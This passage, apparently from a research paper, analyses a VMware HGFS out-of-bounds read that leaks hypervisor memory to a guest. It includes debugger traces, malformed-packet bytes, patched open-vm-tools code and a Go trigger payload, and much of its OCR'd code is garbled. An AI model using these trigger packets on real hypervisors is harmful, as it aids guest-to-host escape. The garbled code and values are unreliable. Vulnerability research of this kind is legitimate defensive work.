52 zd, 5] a4,
53 (unsigned int)avl5, 54 (unszigned int)avls,
54 {unsigned int)s&vZz, 55 {unsigned int)&v23,
56 (__intéd)aw20,
57 (__inté4)awls,
58 {__intéd)w2l,
55 {__inté4)avly, 58 {__inté4)avls,
S6 (__int64)avl7, (1] {__int64)zvl7,
57 (__intéd)w20,
se {__intéd4)avls, (38 {__inte4)savls,
59 (__inté64)avls,
60 (__int64)avis,
B8l {__inted)vil); 62 {__inted)&avzi);
62 if ( v17 &a (v17 & 2) == 0 || v8 || vlE != #(_DWORD *) (a2 + 504€4) || 63 if ( vlB &a& (vld & 2) = 0 || w8 || v18 != #(_DWORD *) (a2 + 50464) ||
w19 != *({_DWORD *) (a2 + 30518) ) w20 '= *({_DWORD *) (22 + 5051} )
83 goto LABEL_18; LT3 goto LABEL 20;
64 vO = vi6; 65 v Jsub 140tastEkvie, vaz):
65 w5 = 1: b6 w1 = w8;
66 if { [Iwlé ) 87 if ( w8 )
67 | 88 |
68 w1l = vl4; 89 v1ll = v8;

69 sub_140685E50("%s: Successfully created the session.
\n", "HGFileCopyCreateSessionCB"):

70 ve = vl5;

71 *(_QWORD #*) (a2 + 50504) = #*{_QWORD *)v10;

72 *(_DWORD *) {a2 + 50544) = 1:

73 *(_DWORD #) {a2 + 50520) *(_DWORD *) (w1l + 12);

T4LABEL 17:

75 wll = *(void (_ fastcall *¥) (_ int64)) (a2 + 50528);

76 *(_BYTE %) (a2 + 50512) = w5;
77 *(_BYIE *) (a2 + 50513) = v&;
78 wll(a2) ;
79 return;
80 } 70}
71 else
72 {
73
74
75 if (w17 )
76 q
77 vll = vl5;
78 gub_1406B5C20 ("%¥3: Successafully created the session.
\n", "HGFileCopyCreateSessionCB");
79 vé = vi6;
B0 *(_CHORD *) (a2 + 50504) = *(_QSIORD *)wll:
BL *(_DHORD *) (a2 + 50544) = 1;
B2 *(_DWORD +) (a2 + 50520) = *(_DWORD *) (v1l + 12);
B3LABEL_19:
g4 v12 = *(void (_ fastcall #**)(__inté4)) (a2 + 50523);
ES *(_BYIE #) (a2 + 50512) = v5;
3 *(_BYTE *) (a2 + 50513) = vé:
87 vl2{a2);
EB raturn;
89 }
81 #(_BYTE *) (a2 + 50512) = 0; 80 *({_BYTE *) (a2 + 50512) = 0;
B2 sub 140635E50("%3: Error (%d)\n", "HGFileCopyCreateSeszicnCE", v9): il sub_l140685C20("%3: Error (id)\n", "HGFileCopyCreateSessionCB", v10):
83 v7 = vls; 92 vl = vl7;
83 }
B4LABEL 20: S4TAREL 22:
85 w12 = *{_DWORD *) (a2 + 12560} - 2: 95 w13 = *{ _DWORD *) (22 + 12560} - 2:
86 *(_DWORD *) (a2 + 24220} = v7; 86 *(_DWORD *) (aZ + an)y = H
87 if [ w12 <=1 zz (*{ RYTE #1 (a2 + 1576} = A} '= N0\ 97 if w13 <= 1 zz (%1 RYTE =1 (a2 + 18576} = G} '= 0 1

The above highlighted function was further confirmed by doing patch diffing of the ESXi vmx files (version 8 update
3c vs update 3d) using Ghidriff.
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- iVar3d = FUN_BBae8720(param_3,param_4,&local_45,local_30,&local_38,&local_34,local_40,&local_3c
- ,&local_44,&local_28,local_20);
- puVar2 = local_28;
ivar3 = FU M_BBaeSScB(param_S ,param_é&,&Local_45,local_308,&local_38,&Llocal_34,local_40,&local_3c
,&local_&4,&local_28,&local_20):
if ((((local_34 == 8) || ((local 34 & 2) != 8)) && (ivar3 == 0)) &&
((*(int =) (param_2 + Bxc518) == local_3c && (*(int =)(param_2 + ©xc54c) == local_38)))) {
- if (local_44 == 08) {
- Log("%s: Successfully created the session.\n","HGFileCopyCreateSessionCB");
11
- uVarl = xpuVar2;
- *(undefined4 *)(param_2 + Bxc568) il
- *(undefined8 %) (param_2 + Dxc548) = uVarl;
*(undefineds4 =) (param_2 + Bxc550) = =(undefined4 #)((long)puvar2 + Bxc);
goto LAB_O;
ivar3 = local_EG,IDGaLZB] z
puvar2 = local_28;
if (ivar3 == 0) {
if (local_44 == @) {
Log("%s: Successfully created the session.\n","HGFileCopyCreateSessionCB");
uvar4 = 1;
uvarl = xpuVar2;
*(undefineda *)(param_2 + Bxc568) = 1;
*(undefined8 =*)(param_2 + Bxc54B) = uVarl;
*(undefined4 *)(param_2 + Bxc550) = *(undefined4 *)((long)puVar2 + Oxc);
goto LAB_O;
}
*(undefinedl *)(param_2 + Bxc548) = 0;
Log("%s: Error (%d)\n",6"HGFileCopyCreateSessionCB");
iVar3 = local_4é4;
}
- *(undefinedl =) (param_2 + Bxc548) = 0;
- Log("%s: Error (%d)\n","HGFileCopyCreateSessionCB");
- ivar3 = local_44;
goto LAB_1;

[~ uVars

+ o+ o+ ot o+ o+ F o+ ok F o+ F o+ o+ o+

The above highlighted function was renamed to “validation_function” and it's explained further in the paper.
Additionally, the function above it (sub_140824950 in vmware_vmx 17.6.3 in IDA) accepted lots of arguments, and
it was renamed to “extract_struct_data”.
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L -

¢ 51 w8 = extract struct data(
52 data,
53 data size,
54 version,
55 &sessionld,
56 &requestId,
57 &flags,
58 information,
59 &operation,
60 &status,
61 &payload ptr,
62 &payload size);
¢ 63 if ( flags && (flags & 2) == 0 || v8 || operation
® 64 goto LABEL 20;
® 65

v9 = validation_function(operation, payload size);

When a legitimate DnD operation was performed from the host to the guest VM (e.g. by dragging and dropping a
JPEG image) and right before that function was called, RCX contained input data in the form of a struct.

0:012> r

rax=00000000034adb63 rbx=000000000395dT50 rcx=000EREEEE34adbe3
rdx=0000000000000258 rsi=PPERO0PEREREe rdi-Peoeeeeeecsdbo3e
rip=00007ff70de7c913 rsp=0000eRORRan57abe rbp=000000RBRaB57bao
r8=0000P0RPRaR57b18 ro9=POREPEPERaR57b38 rlo=000PPORORRRBO258
r11=00000PA00RRARA4R 12=-000000000c38dbA30 ri13=PeAeReERA34adbse3
r14=p000000000000000 ri15=e0007ff70de7c830

iopl=0 nv up ei pl nz na po nc

C5=P033 s55=002b ds=002b es=002b {s5=8853 gs=002b
vmware_vmx+@x72c913:

Peap7ff7 @de7c913 e83880aT00 call
©:012> db rcx

P0OPPERE ©34adbb3 ©1 00 PO 0 ff 0O 00 ©00-58 2 90 0B 34 00 DO PO
PoEPPRRE ©34adb72 ©0 90 PO 80 29 0O 00 OP-00 PO 0P 0D ©2 PP B0 PO
PoOpeAnRe” ©34adb83 00 ee oo ee ff ff ff ff-ff ff ff ¥ 2@ oo 00 @0
PeOPERARe ©34adb93 00 @0 PO @@ 30 ftb 63 53-80 85 @0 08 41 00 B0 B0
PeOPERRe” ©34adbaz 80 8 ©7 00 00 0O 00 PR-01 20 @0 0B 20 00 B0 B0
PoERPRRE ©34adbb2 ©0 90 PO 0 91 VO 00 OP-01 PO 0P 0B @1 0P B0 PO
PeOPEARe” ©34adbc3 B2 @0 PO @0 01 0O 00 PP-03 PO 0P 0B @1 00 B0 B0
PeePeRRe” ©34adbd3 84 90 00 @0 01 0O 00 PR-05 PO @0 0B @1 00 B0 B0
9:012> ? 29

Evaluate expression: 41 = 00000000 00000029

The struct contained the following items:

01 - version

00 00 00 - reserved

FF 00 00 00 - HGFS_OP_NEW_HEADER = 0Oxff

58 02 00 00 - packetsize

34 00 00 00 - headerSize

00 00 00 80 - requestld

29 00 00 00 - operation (41) - HGFS_OP_CREATE_SESSION_V4
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00 00 00 00 - status

02 00 00 00 - flags

00 00 00 00 - information

ff ff ff ff-ff ff ff ff - session id

00 00 00 00 00 00 00 QO - reserved

The type of operation (HGFS_OP_CREATE_SESSION_V4) was related to creating a new session to allow the DnD
operation to happen between the host and the guest VM.

Entering that function we can see further checks against the data packet’s size and variable assignments to the
struct members.

1
2
3
4
5
6
7
8

9
1o
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

__inte4 _ fastcall extract_struct data(

}

struct

input data *input data,

unsigned _ inte4 input_size,
_BYTE *version,

_QWORD
_ DWORD
_DWORD
_ DWORD
_DWORD
_ DWORD
_QWORD

Qu

*sessionld,
*requestId,
*flags,
*information,
*operation,
*status,
*payload_ptr_,
*payload size )

unsigned  int64 packet size; // rax

unsigned int

payload_size; // ecx

char *payload ptr; // rcx

if ( input size < @x34 )

return 7;

if ( input data->dummy != 255 )

return 7;
packet_size input data-»>packetSize; // @x000BC5A5
if ( packet size » input size || input data->headerSize > (unsigned int)packet size )

return 7;

*yersion = input data-»>version;

*sessionld =
*requestld =
*operation =

input data-»>sessionId;
input data-»requestld;
input _data->op;

*flags = input_data->flags;

*information
payload_size

*payload_size_ = payload_size;
if ( payload_
payload_ptr

else

payload_ptr
*payload_ptr_

= input data-»>information;

= input data-»>packetSize - input data->headerSize;// This is what is validated now..
// Maybe calculating a size here

size )

= Rinput _data-»>version + input data->headerSize;

= 0;
= payload_ptr;

*¥ctatus = input data-»status;

return 0;

Of particular importance is the following calculation:

1

payload size = input data-»packetSize - input data->headerSize;//
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Breakpoint 2 hit

vmware_vmx+@x8249ab:

0eee71f7 ©d1749ab 418b4aes mov ecx,dword ptr [r18+8] ds:000e0000 034adbsb=00000258

0:012> t

vmware_vmx+0x8249af:

00007117 ©d1749at 488b442458 mov rax,qword ptr [rsp+58h] ss:00000000 0a857boB=000000000a057b30
0:012> t

vmware vmx+8x8249b4:

0eee7 117 0d1749b4 412bdaec sub ecx,dword ptr [rile+ech] ds:eeeepe0e” @34adbsf-00000034
9:012> r ecx

ecx=258

2:912> t

vmware _vmx+8x8249bg:

00007117 ©d1749b8 488908 mov qword ptr [rax],rcx ds:00000000 ©a057b30=000000000395dT50
9:812> r ecx
ecx=224

During a legitimate DnD operation, the value of ECX (payload_size) is 0x224. It’s calculated by subtracting
headerSize (0x34) from packetSize (0x258).

As we exit the “extract_struct_data” function, we reach the “validation_function” that’s been added to Workstation
17.6.3.

65 v9 = validation function(operation, payload size);

The value of RCX is 0x29 (HGFS_OP_CREATE_SESSION_V4) and the value of RDX is the previously calculated
payload_size value of 0x224.

Breakpoint 3 hit

vmware vmx+@x72c953:

0eee7ft7 0da7c953 e8887cofoe call vmware vmx+0x8245e0 (000077 0d1745e0)
0:012> r rcx

rcx=0000000000000029

9:012> r rdx

rdx=0000000000000224

8:012> ? 29

Evaluate expression: 41 - 00000000 ©OPV29

Inside that function we have an IF/ELSE statement that compares the payload_size value to 0x24.

int64 _ fastcall validation_function(int operation, unsigned _ int64 payload size)

=

1
2
3 return payload size < gqword_7FF70D552658[operation] ? 7 : ©;
4

}
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vmware_vmx+0x8245ea:

00007117 @d1745ea 483bl4cl cmp rdx,qword ptr [rcx+rax*s] ds:eeee7f{7 0d552798-0000000000000024
9:012> r rdx

rdx=0000600000000224

@:812> t

vmware_vmx+0x8245ee:

Pepe7ff7 @d1745ee 1bco shb eax,eax

9:012> r eax

eax=29

0:012> t

vmware vmx+@x824510:

eeee7ff7 ed1745fe 83e007 and eax,7

9:012> r eax

eax=0

0:012> t

vmware vmx+@x8245f3:

eeee7ff7 ed1745f3 c3 ret

9:812> r eax

eax=0

If the payload_size value is less than 0x24, the validation check is failed and 7 is returned in EAX. In this case the
value is greater than 0x24, so EAX contains 0 and the validation check is passed. Therefore, the payload size is not

less than the size expected for the operation HGFS_OP_CREATE_SESSION_V4.
The payload mentioned by the Huntress blog post contained the following hex values:

4F 4B 20 00 00 00 00 FF 00 00 00 A5 C5 00 00 A4 C5 00 00 00 00 00 80 29 00 00 00 + [50573 zeros]

4F 4B 20 - "OK " — the TCLO command

00 - version

00 00 00 - reserved

FF 00 00 00 - HGFS_OP_NEW_HEADER

A5 C5 00 00 - packetSize (0x0O000C5A5)

A4 C5 00 00 - headerSize (0x0000C5A4)

00 00 00 80 - requestld

29 00 00 00 - operation (41) - HGFS_OP_CREATE_SESSION_V4

Subtracting headerSize from packetSize would return 1, which would fail the validation check. However, that check
wasn'’t present in version 17.6.2.

At the time of writing this report we couldn’t get our Windows driver to register the “toolbox-dnd” application and
send the TCLO commands correctly. We decided to modify and compile the open-vm-tools source code in such a
way that would send the malicious packet during a legitimate DnD operation and reach the validation function. We
tested this on 17.6.3, so we had to modify the value of EAX to contain 0 instead of 7 when the validation function
returned, as if our malicious packet had passed the payload_size bounds checks. We did this test on an Ubuntu
22.04.03 64-bit VM and performed the DnD operation by moving a JPEG image from the host to the VM.

The following two files were modified:

open-vm-tools/lib/hgfsServer/hgfsServer.c
open-vm-tools/lib/hgfsServer/hgfsServerParameters.c

hgfsServer.c

It was understood that open-vm-tools and specifically its HGFS functionality work on a client-server basis. When a
DnD operation is performed from the host to the VM, a new session is established between the HGFS server and
client on the VM. The function HgfsServerGetRequest then accepts the data packet sent from the client HGFS and
processes it along with the newly established session. We modified that function and changed some logging
functionality to display the sessionld value along with dumping the request data into a file.
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v open-vm-tools/lib/hgfsServer/hgfsServer.c [[] +31 -1

T @@ -3036,6 +3836,18 @@ HgfsServerGetReguest(HgfsPacket #*packet, // IN: packet
836 3836
3837 3837 reguest = HSPU_GetMetaPacket(packet, &requestSize, transportSession->channelCbTable);
3B38 30838
3039 |+ LOG(4, "%s: called with requestSize %Ld\n", __FUNCTION__, reguestSize);
3848 | +
3B41 |+ // Write the request to a temp file
ip42 |+ char path[] = "/tmp/mytmpX0x";
3043 | 4 int fd = mkstemp(path);
3844 | + FILE *fp = fdopen(fd, "wb+");
3045 | + fwrite(request, 1, requestSize, fp);
3846 | 4 fclose(fp);
3847 | +
3p48 |+ LOG(4, "%s: Written request to %s\n", __FUNCTION__, path);
3849 | +
3858 | +
3839 3651 if (NULL == request) {
3B48 3852 Sx
3041 3853 * How can I return error back to the client, clearly the client is either broken or
1 I @@ -3048,7 +3080,7 @@ HgfsServerGetReguest(HgfsPacket *packet, // IN: packet
3068 3080 session = HgfsServerTransportGetSessionInfo(transportSession,
3p69 3081 sessionId);
3e7e 3\az2 if (NULL == session || session-»state != HGFS_SESSION_STATE_OPEN) {
3871 LOG(4, "%s: HGFS packet with invalid session id!%\n", __FUNCTION__);
3083 | + LOG(4, "%s: HGFS packet with invalid session id %ld!\n", __FUNCTION__, sessionId);
3872 30884 parseStatus = HGFS_ERROR_STALE_SESSION;
3873 3085 b
3874 3086 s
1 $ @@ -3245,11 +3257,26 (@@ HgfsServerCompleteReguest(HgfsInternalStatus status, // IN: Status of the regu
3245 3257 replySize = MAX(replyPayloadSize, sizeof (HgfsReply));
3246 3258 b
3247 3259

Some additional code was also added to the function HgfsServerCompleteRequest to only tamper with the
operation HGFS_OP_CREATE_SESSION_V4 and reply to the HGFS client with the modified packet size (remember
that subtracting headerSize from packetSize would return 1 (payloadSize)).
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3225|HgfsServerCompleteRequestf{HgfsInternalstatus status IN: Status of the request
g P q g ; a

3226 size_t replyPayloadSize, J// IN: sizeof the reply payload
h{3227 HgfsInputParam *input) // INJOUT: request context
3228 {

3229 void *reply;

3230 size_t replySize;

3231 size_t replyTotalSize;
h 3232 size_t replyHeadersSize;
3233 uint64 replySessionId;

3234
3235  if (HGFS_ERROR_SUCCESS == status) {
3236 HGFS_ASSERT_INPUT(input);
3237 } else {
h 3238 ASSERT(input);
03239 %
3240
3241 replySessionId = (NULL != input-=session) ? input-=session-=»sessionId
3242 : HGFS_INVALID_SESSION_ID;
3243 replyHeaderSize = HgfsServerGetReplyHeaderSize(input->sessionEnabled,
h{3244 input-=op);
p/3245
3246 if (replyHeadersize 1= 0) {
3247 replySize = replyHeaderSize + replyPayloadSize;
3248 } else {
3249 /*
3250 * For pre-V3 header is included in the payload size.

3251 * If we want to send just an error result then HgfsReply

3252 * only size is required.

3253 *

3254 * XXX - all callers should be verified that the reply payload
3255 * gize for V1 and V2 should be correct (mininum HgfsReply size).
3256 */

3257 replySize = MaX(replyPayloadSize, sizeof (HgfsReply));

3258}

3259

3260 | // HACK

3261 // We only want to tamper with the HGFS_OP_CREATE_SESSION_V4 requests
3262 if (input-=op == 41) {

3263 Log("%s: Modifying packet sizes\n"
3264 replyHeaderSize = 50596;

3265 replyPayloadSize = 1;

3266
3267 J// replySize = 50597

3268 replySize = replyHeaderSize + replyPayloadSize;

FUNCTION );

3269 1
3270 =
3271 Log("%s: replysize %ld, replyHeadersize %ld\n", _ FUNCTION__ ,replySize,replyHeaderSize);
3272
3273 reply = HSPU_GetReplyPacket(input->packet,
3274 input->transportSession->channelCbTable,
3275 replysize,
3276 &replyTotalsize);
3277
3278 Log("%s: replyTotalsize %ld\n", _ FUNCTION__,replyTotalSize);
3279

Some logging of the session id was also added to the function HgfsServerTransportGetSessioninfo.
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35082
3503 LOG(4, "%s: Looking for sessionId %ld\n", _ FUNCTION__, sessionlId);
3504
3505  if (HGFS_INVALID SESSION_ID == sessionId) {

3506 return NULL;

3507 1}

3508

3509 MXUser_ AcquireExclLock(transportSession-=sessionArrayLock);
3510

3511 DblLnkLst_ForEach(curr, &transportSession->sessionArray) {
3512 . _ . . h
3513 LOG(4, "%s: session in list %ld\n", _ FUNCTION__, session->sessionId);
3514 Sess1on->5ess1on == sessionld) |

3515 HgfsServerSessionGet(session);

3516 break;

3517 }

3518 session = NULL;

3519  }

3520

3521 MXUser ReleaseExclLock(transportSession-=sessionArrayLock);
3522

3523 return session;

3524 }

hgfsServerParameters.c

The function HgfsPackReplyHeaderV4 was modified to log the operation id (41) and set the packetSize and
headerSize HEX values to the ones reported by the Huntress blog post only if that operation id was 41
(HGFS_OP_CREATE_SESSION_V4).

766 static Bool

767 HgfsPackReplyHeaderv4(HgfsStatus status, // IN: reply status

768 uint32 payloadsSize, // IN: size of the reply payload

769 HgfsOp opcode, // IN: request type

770 uint64 sessionId, // IN: session id

771 uint32 requestld, // IN: request id

772 uint32 hdrFlags, // IN: header flags

773 size_t hdrPacketSize, // IN: header packet size

774 HgfsHeader *hdrPacket) // OUT: outgoing packet header

775 {

776 Bool result = FALSE;

777

778 LOG(4, "%s: TEST! opcode %d\n", __FUNCTION__,opcode);

779

780 if (hdrPacketSize »= sizeof *hdrPacket) {

781 memset(hdrPacket, ©, sizeof *hdrPacket);

782

783 hdrPacket->version = HGFS_HEADER_VERSION;

784 hdrpacket->dummy = HGFS_OP_NEW_HEADER;

785 hdrPacket->packetSize = payloadSize + sizeof *hdrPacket;

786 hdrPacket->headerSize = sizeof *hdrPacket;

787 hdrPacket->requestId = requestld;

788 hdrPacket->op = opcode;

789 hdrPacket->status = status;

790 hdrPacket->flags = hdrFlags;

791 hdrPacket->information = status;

792 hdrPacket->sessionId = sessionId;

793 result = TRUE;

794  }

795

796

79% if (opcode == 41)

79 {

794 // HACK

804 //hdrPacket->packetSize = 0x41414141;

801 hdrPacket->packetSize = JC5A5;

803 //hdrPacket->headersize 424242;

803 hdrPacket->headersize = C5A4;

884 1

804

804 LOG(4, "%s: TEST! packetSize %d, headerSize %d, sessionTd %ld\n", __ FUNCTION__,hdrPacket->packetSize, hdrPacket->headersize,
sessionld);

80

808 return result;

We also had to modify the /etc/vmware-tools/tools.conf file in the VM to contain the following additional logging
options.
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[logging]
# Turns on logging globally. It can still be disabled for each domain.
log = true

# Disables core dumps on fatal errors; they're enabled by default.
# enableCoreDump = false

# Defines the "vmsvc" domain, logging to file
# vmsvc.level = message

#vmsvc.handler = file

# Setup file rotation - keep 3 files
#vmsvc.maxOldLogFiles = 3

# Max log file size kept: 1 MB
#vmsvc.maxLogSize = 1

# Defines the "vmtoolsd" domain, and disable logging for it.
# vmtoolsd.level = none

#

vmtoolsd.level = debug
vmtoolsd.handler = file
vmtoolsd.data = /tmp/vmtoolsd.${USER}.log

vimsvc.level = debug
vmsvc.handler = file
vmsvc.data = /tmp/vmsvc.log

vmusr.level = debug
vmusr.handler = file
vmusr.data = /tmp/vmusr.${USER}.log

toolboxcmd.level = debug
toolboxcmd.handler = file
toolboxcmd.data = /tmp/vmtoolboxcmd. log

Live logs were monitored using the following command:
sudo tail -f /tmp/vmusr.alex.log

With the modified and compiled open-vm-tools and our logging setup, a DnD operation was performed by
physically moving a JPEG file from the host to the Ubuntu VM. It’s important to note that a breakpoint
(Ox7FF70D07C958) was set right after the “validation_function” was called to allow us to change the value of EAX
from 7 to 0 because our malicious packet containing the payloadSize value of 1 would not be valid.

® a7

.text:00007FF70DB7C94F mov rdx, [rbp+57h+payload size]
.text:00007FF70DB7C953 call validation function
Ltext:00007FF7/0DO/C958 mov ecx, eax
text:00007FF70DO7C95A test eax, eax
.text:00007FF70DB7C95C jz short loc 7FF70DB7C966
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Another breakpoint was set at 0x7FF70D07C9A9, and since we modified EAX to contain 0 we would reach this
code block as if our malformed packet was valid.

EXZ1E
.text:00007FF70DO7C991
.text:00007FF70DO7C991 loc_7FF70D@7C991:
.text:00007FF70D87C991 ; _ unwind { // _ GSHandlerCheck
.text:00007FF70DO7C991 mov [rsp+0BOh+arg 0], rbx
.text:00007FF70DO7C999 lea rcx, aSSuccessfullyC ; "%s: Successfully created the session.\n"
.text:00007FF70DO7C9A0 mov rbx, [rbp+57h+payload ptr]
.text:00007FF70DO7C9A4 call log_function
.text:00007FF70DO7C9A9 mov rax, [rbx]
.text:00007FF70DB7COAC movzx edx, [rbp+57h+version]
.text:00007FF70DB7C9BO mov [rdi1+0C548h], rax
.text:00007FF70DO7C9B7 mov dword ptr [rdi+@C570h], 1
.text:00007FF70DO7C9C1 mov eax, [rbx+0Ch]
.text:00007FF70DO7C9C4 mov rbx, [rsp+@Beh+arg 0]
.text:00007FF70DO7C9CC mov [rdi+6C558h], eax
-text:@00O7FF70DO7CICC ; } // starts at 7FF70DB7C991

B

{

payload ptr = payload ptr; // payload ptr =

log function("%s: Successfully created the session.\n", "HG|

version_ 1 = version[@];

*(_QWORD *)(a2 + 50504) *(_QWORD *)payload ptr_;

*(_DWORD *)(22 + 50544) = 1;

*(_DWORD *)(22 + 50520) = *( DWORD *)(payload ptr  + 12);
LABEL 19:

vl2 = *(void (__ fastcall **)(__int64))(a2 + 50528);

*(_BYTE *)(a2 + 50512)

*(_BYTE *)(a2 + 50513)

vi2(a2);

return;

v5;

version 1;

The file was moved and the first breakpoint was hit. EAX was modified to contain 0. The second breakpoint was hit
because of that, and the following highlighted value was observed:

Breakpoint @ hit
vmware_vmx+0x72c958:

epee7ff7 @de7c958 shcs mov ecx,eax
09:912> r {@eax = @
@:012> g

Breakpoint 1 hit
vmware_vmx+0x72c9ad:

0eee7tt7 @de7c9a9 4388he3 mov rax,qword ptr [rbx] ds:aaaeaaee‘93beeb77=458b41c58949399d

9:012> lheap -x 000000080 03boeb77

Entry User Heap Segment Size PrevSize Unused Flags
0000000003b025c0 ©0EEEEEREV3DbA25d0 ©0POEEEEOE440000 OOEDOREEA3910000 c5co 20010 17 busy

The following invalid session id was also logged in the VM:
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[2026-03-12T11:52:47.2767] debug] [hgfsServer] [3979] hgfsServer:HgfsServerGetRequest:HgfsServerGetRequest: called with requestSize 60
[2026-03-12T11:52:47.2762] debug] [hgfsServer] [3979] hgfsServer:HgfsServerGetRequest:HgfsServerGetRequest: Written request to /tmp/mytmpFsGq
5]

[2026-083-12T11:52:47.276Z] debug] [hgfssServer] [3979] hgfsServer:HgfsUnpackPacketParams:HgfsUnpackPacketParams: Received a request with opcod
e 255.

[2026-03-12 2:47.276Z] debug] [hgfsServer] [3979] hgfsServer:HgfsUnpackPacketParams:HgfsUnpackPacketParams: unpacked request(op 255, id 2
147483648)

[2026-03-12T11:52:47.276Z] [ debug] [hgfsServer] [3979] hgfsServer:HgfsServerTransportGetSessionInfo:HgfsServerTransportGetSessionInfo: Looking
for sessionId 5011171327047434240

[2026-03-12T11:52:47.2762] [ debug] [hgfsServer] [3979] hgfsServer:HgfsServerTransportGetSessionInfo:HgfsServerTransportGetSessionInfo: session
in list 16394325988256

[2026-03-12T11:52:47.276Z] [ debug] [hgfsServer] [3979] hgfsServer:HgfsServerTransportGetSessionInfo:HgfsServerTransportGetSessionInfo: session
in list 111546130469496

[2026-03-12T11:52:47.276Z] debug] [hgfsServer] [3979] hgfsServer:HgfsServerTransportGetSessionInfo:HgfsServerTransportGetSessionInfo: session

in list 111748127869480
[2026-03-12T11:52:47.276Z] debug] [hgfsServer] [3979] hgfsServer:HgfsServerTransportGetSessionInfo:HgfsServerTransportGetSessionInfo: session
in list

debug] [hgfsServer] [3979] hgfsServer:HgfsServerGetRequest:HgfsServerGetRequest: HGFS packet with invalid session

debug] [hgfssServer] Server :HgfsServerSessionReceilve:Error 102 occurred parsing the packet
info] Request: replysi 52, replyHeadersi 52
debug] [hgfsServer] [3979] hgfsServer:HSPU_GetReplyPacke isting reply packet HSPU_GetReplyPacket 52 522240
info] [vmusr] [3979] HgfsServerCompleteRequest: replyTotalSize 522240
debug] Server] [3979] hgfsServer:HgfsPackReplyHeaderV4:HgfsPackReplyHeaderV4: TEST! opcode 42
debug] ver] [3979] hgfsServer:HgfsPackReplyHeadervd4:HgfsPackReplyHeaderv4: TEST! packetSize 52, headersize
52, sessionId -1
[2026-03-12T11:52:47.276 debug] [hgfsServer] [3979] hgfsServer:HSPU_PutMetaPacket:HSPU_PutMetaPacket Hgfs Putting Meta packet
[2026-83-12T11:52:47.276 debug] [vmusr] [3979] HgfsChannelGuest Receive: Channel receive returns @x1

The value was the decimal representation of the one highlighted in WinDbg.

hex(5611171327047434240)

'@xU58bU1c589U96000 °

It was understood that if the payload size was set to 1, “payload_ptr__” would point out of bounds (or be pushed out
of bounds) leaking back to the guest VM whatever data it was pointing at. And that leaked data would be returned
from the HGFS server to the client in the form of an invalid session ID, because a new session ID was meant to be
established between the HGFS server and client for the next request to be processed. Because of data being
pushed OOB, the session ID value would get assigned to whatever was in memory at that time. Doing heap
grooming by opening/closing RPC backdoor channels would allow a memory pointer inside the vmx process to be
used as the invalid session ID and leaked back to the guest VM.

5.1. Triggering The Vulnerability

At this point, a Golang library developed by equinix-ms was identified and was extremely useful as it already had
most, if not all, of the necessary TCLO, RPCI operations implemented which meant more information could be
gathered about how the drag and drop operations work and learn more about how to trigger the vulnerable code
path. It’s important to note that it was required to remove vmtools from the guest VM to allow the modified GoLang
version of it to be used instead.

From here the event loop within the Go code can be modified to follow the same messages/response pattern that is
in the Huntress blog post.
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mw_SendGuestRPCCommand ("
mw_SendGuestRPCCommand( "Se
mw_SendGuestRPCCommand( "tc
mw_SendGuestRPCCommand (" too
mw_SendGuestRPCCommand( " toc

mw_BackdoorOpen();

v8 = mw_BackdoorOpen();
mw_BackdoorOpen() ;

v9 = mw_BackdoorOpen();
mw_BackdoorOpen() ;

v4d = mw_BackdoorCmdLow() ;
mw_BackdoorCmdHigh() ;
mw_BackdoorCmdHigh();
mw_BackdoorCmdHigh() ;
mw_BackdoorCmdHigh() ;
mw_BackdoorCmdHigh();
mw_BackdoorClose(v8);
mw_BackdoorClose(v9);

mw_SendGuestRPCCommand ("

mw_BackdoorCmdHigh() ;

mw_memset(Str, 8, 0x10000€
mw_BackdoorSendData(v4, (unsigned _ int8 *)Str,
ReplylLen = mw_BackdoorGetReplylen(v4);

Using these messages and decompiled code, we can analyse and trace down the various functions that get called
when “tools.set.version 1” is specified.

These functions end up trickling down into a function which was named “HGFileCopy_wrapper_stuff” that ends up
triggering our supposed vulnerable code path. Then that function’s callback ultimately hits the originally identified
vulnerable function, HGFileCopyCreateSessionCB.

__int64 _ fastcall HGFileCopy_wrapper_stuff(__int64
{
__int64 vi;
V2;
__int64 v5;

vl = *(_QWORD *)(al + 18568);
v2 = *(_DWORD *)(al + 50520);
*(_BYTE *)(al + 50512) = 1;
*(_DWORD *)(al + 50516) = 0Ox80000000;
*(_DWORD *)(al + 50464) = 41;
sub_140923EBO(*(_BYTE *)(al + 50513), Ox80000000, v2, vl, &v5);
(*(_inte4 (__fastcall **)(_QWORD, _ int64, _QWORD, (__fastcall *)(
__int64, struct_input_data *, __int64),  inté64, ))(al + 18624))(
*(_QWORD *)(al + 18568),
V5,
*(_QWORD *)(al + 18632),
HGFileCopyCreateSessionCB,

J

90000000 ) ;
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With this in mind, we can confirm two things:
1. The toolbox version seems to trigger the vuln code path.
2. This vulnerable code path does not need user interaction, such as dragging and dropping an image.

Next a function validates the path that is specified within the “tools.capability.guest_conf_directory” command.

*(_QWORD *)&v26 =

path_len_myb = ValidateAndIdentifyPath(path, ©x1800, (char *) , OsFlag &
0x20);

_mm_lfence();

if ( path_len_myb >= 0 )

It was also interesting that this path worked within the Huntress ESXi blog post since this fails the path validation
within VMWare Workstation 17.6.2. At this point however, once the host sends an "f" command to the guest we
reply with “f” as well with the final payload to trigger the leak.

We could also see the following:

register_command(1, @, "f", (__int64)HgfsChannelBdConnectInternal, (__int64)&unk_140EF4C30); ‘

To determine that “f” was the correct way to make use of the HGFS protocol, initial sniffing was done when a drag
and drop operation was performed from the host to the guest using a legitimate VMware tools instance. It was
possible to sniff certain packets as the HgfsServerAllocateSession request. From trial and error with the protocol
and replaying requests, we could determine that it was possible to reply with a “f” message as a response.

// HgfsChannelBdConnectInternal: Backdoor HGFS server session init complete and opened.

// HgfsServerAllocateSession: init session 14FF9600 id 1c8fd1c93bc69 // 66 = f // Ox66 = f
// @x1 - version (HgfsHeader) // ©0x00 0x00 ©x00 - 3 bytes reserved // Oxff Ox00 Ox00 0x00 -
dummy // ©x4c, 0x00, 0x00, OxP0 - packet size // Ox34, Ox00, 0x00, 0x00 - header size //
Ox00, Ox00, Ox00, 0x80 - request id // Ox29, Ox00, Ox00, Ox00 - HgfsOp (41 =
HGFS_OP_CREATE_SESSION_V4) payload := []byte{ ©x66, 0x20, 0x01, 0x00, 0x00, 0x00, Oxff,
0x00, 0x00, Ox00, Ox4c, Ox00, Ox00, Ox00, Ox34, 0x00, 0x00, Ox00, 0x00, Ox00, 0x00,
Ox80, Ox29, Ox00, Ox00, Ox00, Ox00, Ox00, 0x00, Ox00, Ox01, Ox00, Ox00, 0x00, Ox00, Ox00,
